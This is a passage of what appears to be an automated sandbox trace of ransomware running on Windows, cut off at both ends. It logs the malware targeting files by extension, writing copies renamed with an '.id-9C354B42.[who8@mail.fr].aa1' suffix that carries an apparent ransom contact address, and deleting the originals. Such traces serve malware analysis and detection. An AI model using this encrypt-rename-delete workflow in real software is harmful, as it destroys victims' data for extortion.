lpOverlapped=0x0 | out: lpBuffer=0x3bb0058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0203.022] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x301fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0203.022] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x2986dbd, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0203.023] ReadFile (in: hFile=0x17c, lpBuffer=0x3bf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bf0058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0203.233] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0203.233] WriteFile (in: hFile=0x17c, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x301fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0203.252] SetEndOfFile (hFile=0x17c) returned 1 [0203.252] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3f53090 [0203.252] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0203.252] WriteFile (in: hFile=0x17c, lpBuffer=0x3f53090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f53090*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0203.253] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xdecf3f, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0203.253] WriteFile (in: hFile=0x17c, lpBuffer=0x3f53090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f53090*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0203.256] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x2986dbd, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0203.256] WriteFile (in: hFile=0x17c, lpBuffer=0x3f53090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f53090*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0203.259] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f53090 | out: hHeap=0x4f0000) returned 1 [0203.259] CloseHandle (hObject=0x17c) returned 1 [0207.128] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0207.128] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0207.128] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0207.128] lstrlenW (lpString=".doc") returned 4 [0207.129] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0207.129] lstrlenW (lpString=".docx") returned 5 [0207.129] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0207.129] lstrlenW (lpString=".pdf") returned 4 [0207.129] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0207.129] lstrlenW (lpString=".xls") returned 4 [0207.129] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0207.129] lstrlenW (lpString=".xlsx") returned 5 [0207.129] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0207.129] lstrlenW (lpString=".ppt") returned 4 [0207.129] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0207.129] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0207.129] lstrlenW (lpString=".zip") returned 4 [0207.129] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0207.129] lstrlenW (lpString=".rar") returned 4 [0207.129] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0207.130] lstrlenW (lpString=".bz2") returned 4 [0207.130] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0207.130] lstrlenW (lpString=".7z") returned 3 [0207.130] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0207.130] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0207.130] lstrlenW (lpString=".dbf") returned 4 [0207.130] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0207.130] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0207.130] lstrlenW (lpString=".1cd") returned 4 [0207.130] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0207.130] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0207.131] lstrlenW (lpString=".jpg") returned 4 [0207.131] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0207.131] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0207.131] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0207.131] lstrlenW (lpString=".doc") returned 4 [0207.131] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0207.131] lstrlenW (lpString=".docx") returned 5 [0207.131] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0207.131] lstrlenW (lpString=".pdf") returned 4 [0207.131] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0207.131] lstrlenW (lpString=".xls") returned 4 [0207.131] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0207.131] lstrlenW (lpString=".xlsx") returned 5 [0207.132] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0207.132] lstrlenW (lpString=".ppt") returned 4 [0207.132] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0207.132] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0207.132] lstrlenW (lpString=".zip") returned 4 [0207.132] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0207.132] lstrlenW (lpString=".rar") returned 4 [0207.132] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0207.132] lstrlenW (lpString=".bz2") returned 4 [0207.132] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0207.132] lstrlenW (lpString=".7z") returned 3 [0207.132] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0207.132] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0207.132] lstrlenW (lpString=".dbf") returned 4 [0207.132] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0207.132] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0207.132] lstrlenW (lpString=".1cd") returned 4 [0207.132] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0207.132] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0207.132] lstrlenW (lpString=".jpg") returned 4 [0207.132] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0207.132] lstrcmpiW (lpString1=".msi", lpString2=".aa1") returned 1 [0207.133] lstrlenW (lpString="Proof.msi") returned 9 [0207.133] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0207.311] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=881152) returned 1 [0207.311] CloseHandle (hObject=0x1b0) returned 1 [0207.311] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi")) returned 0x2020 [0207.312] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0207.312] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0207.312] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0207.312] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0207.312] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0207.954] GetLastError () returned 0x0 [0207.954] ReadFile (in: hFile=0x1b0, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0xd7200, lpOverlapped=0x0) returned 1 [0208.026] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xd7210, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0xd7210, lpOverlapped=0x0) returned 1 [0208.044] ReadFile (in: hFile=0x1b0, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0208.044] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0208.044] SetEndOfFile (hFile=0x1f8) returned 1 [0208.044] CloseHandle (hObject=0x1f8) returned 1 [0208.115] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0208.115] SetEndOfFile (hFile=0x1b0) returned 1 [0208.228] CloseHandle (hObject=0x1b0) returned 1 [0208.228] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0208.228] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi")) returned 1 [0208.229] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0208.229] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0208.229] lstrlenW (lpString=".doc") returned 4 [0208.229] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0208.229] lstrlenW (lpString=".docx") returned 5 [0208.229] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0208.229] lstrlenW (lpString=".pdf") returned 4 [0208.229] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0208.229] lstrlenW (lpString=".xls") returned 4 [0208.229] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0208.229] lstrlenW (lpString=".xlsx") returned 5 [0208.229] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0208.229] lstrlenW (lpString=".ppt") returned 4 [0208.229] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0208.229] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0208.230] lstrlenW (lpString=".zip") returned 4 [0208.230] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0208.230] lstrlenW (lpString=".rar") returned 4 [0208.230] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0208.230] lstrlenW (lpString=".bz2") returned 4 [0208.230] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0208.230] lstrlenW (lpString=".7z") returned 3 [0208.230] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0208.230] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0208.230] lstrlenW (lpString=".dbf") returned 4 [0208.230] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0208.230] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0208.230] lstrlenW (lpString=".1cd") returned 4 [0208.230] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0208.230] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0208.230] lstrlenW (lpString=".jpg") returned 4 [0208.230] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0208.231] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0208.231] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0208.231] lstrlenW (lpString=".doc") returned 4 [0208.231] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0208.231] lstrlenW (lpString=".docx") returned 5 [0208.231] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0208.231] lstrlenW (lpString=".pdf") returned 4 [0208.231] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0208.231] lstrlenW (lpString=".xls") returned 4 [0208.231] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0208.231] lstrlenW (lpString=".xlsx") returned 5 [0208.231] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0208.231] lstrlenW (lpString=".ppt") returned 4 [0208.231] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0208.231] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0208.231] lstrlenW (lpString=".zip") returned 4 [0208.231] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0208.231] lstrlenW (lpString=".rar") returned 4 [0208.231] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0208.232] lstrlenW (lpString=".bz2") returned 4 [0208.232] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0208.232] lstrlenW (lpString=".7z") returned 3 [0208.232] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0208.232] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0208.232] lstrlenW (lpString=".dbf") returned 4 [0208.232] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0208.232] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0208.232] lstrlenW (lpString=".1cd") returned 4 [0208.232] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0208.232] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0208.232] lstrlenW (lpString=".jpg") returned 4 [0208.232] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0208.232] lstrcmpiW (lpString1=".msi", lpString2=".aa1") returned 1 [0208.232] lstrlenW (lpString="Proof.msi") returned 9 [0208.232] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0208.233] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=885760) returned 1 [0208.233] CloseHandle (hObject=0x1b0) returned 1 [0208.233] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi")) returned 0x2020 [0208.233] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0208.233] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0208.233] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0208.233] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0208.233] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0208.319] GetLastError () returned 0x0 [0208.319] ReadFile (in: hFile=0x1b0, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0xd8400, lpOverlapped=0x0) returned 1 [0208.627] WriteFile (in: hFile=0x1fc, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xd8410, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0xd8410, lpOverlapped=0x0) returned 1 [0209.124] ReadFile (in: hFile=0x1b0, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0209.124] WriteFile (in: hFile=0x1fc, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0209.124] SetEndOfFile (hFile=0x1fc) returned 1 [0209.124] CloseHandle (hObject=0x1fc) returned 1 [0209.336] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.336] SetEndOfFile (hFile=0x1b0) returned 1 [0209.446] CloseHandle (hObject=0x1b0) returned 1 [0209.446] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0209.446] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi")) returned 1 [0209.447] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0209.447] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0209.447] lstrlenW (lpString=".doc") returned 4 [0209.447] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0209.447] lstrlenW (lpString=".docx") returned 5 [0209.447] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0209.447] lstrlenW (lpString=".pdf") returned 4 [0209.447] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0209.447] lstrlenW (lpString=".xls") returned 4 [0209.447] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0209.447] lstrlenW (lpString=".xlsx") returned 5 [0209.447] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0209.447] lstrlenW (lpString=".ppt") returned 4 [0209.447] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0209.447] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0209.447] lstrlenW (lpString=".zip") returned 4 [0209.447] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0209.447] lstrlenW (lpString=".rar") returned 4 [0209.447] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0209.447] lstrlenW (lpString=".bz2") returned 4 [0209.447] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0209.447] lstrlenW (lpString=".7z") returned 3 [0209.447] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0209.447] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0209.448] lstrlenW (lpString=".dbf") returned 4 [0209.448] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0209.448] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0209.448] lstrlenW (lpString=".1cd") returned 4 [0209.448] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0209.448] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0209.448] lstrlenW (lpString=".jpg") returned 4 [0209.448] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0209.448] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0209.448] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0209.448] lstrlenW (lpString=".doc") returned 4 [0209.448] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0209.448] lstrlenW (lpString=".docx") returned 5 [0209.448] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0209.448] lstrlenW (lpString=".pdf") returned 4 [0209.448] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0209.448] lstrlenW (lpString=".xls") returned 4 [0209.448] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0209.448] lstrlenW (lpString=".xlsx") returned 5 [0209.448] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0209.448] lstrlenW (lpString=".ppt") returned 4 [0209.448] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0209.448] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0209.448] lstrlenW (lpString=".zip") returned 4 [0209.448] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0209.449] lstrlenW (lpString=".rar") returned 4 [0209.449] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0209.449] lstrlenW (lpString=".bz2") returned 4 [0209.449] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0209.449] lstrlenW (lpString=".7z") returned 3 [0209.449] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0209.449] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0209.449] lstrlenW (lpString=".dbf") returned 4 [0209.449] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0209.449] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0209.449] lstrlenW (lpString=".1cd") returned 4 [0209.449] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0209.449] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0209.449] lstrlenW (lpString=".jpg") returned 4 [0209.449] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0209.449] lstrcmpiW (lpString1=".cab", lpString2=".aa1") returned 1 [0209.450] lstrlenW (lpString="OWOW32LR.cab") returned 12 [0209.450] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0209.450] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=2928955) returned 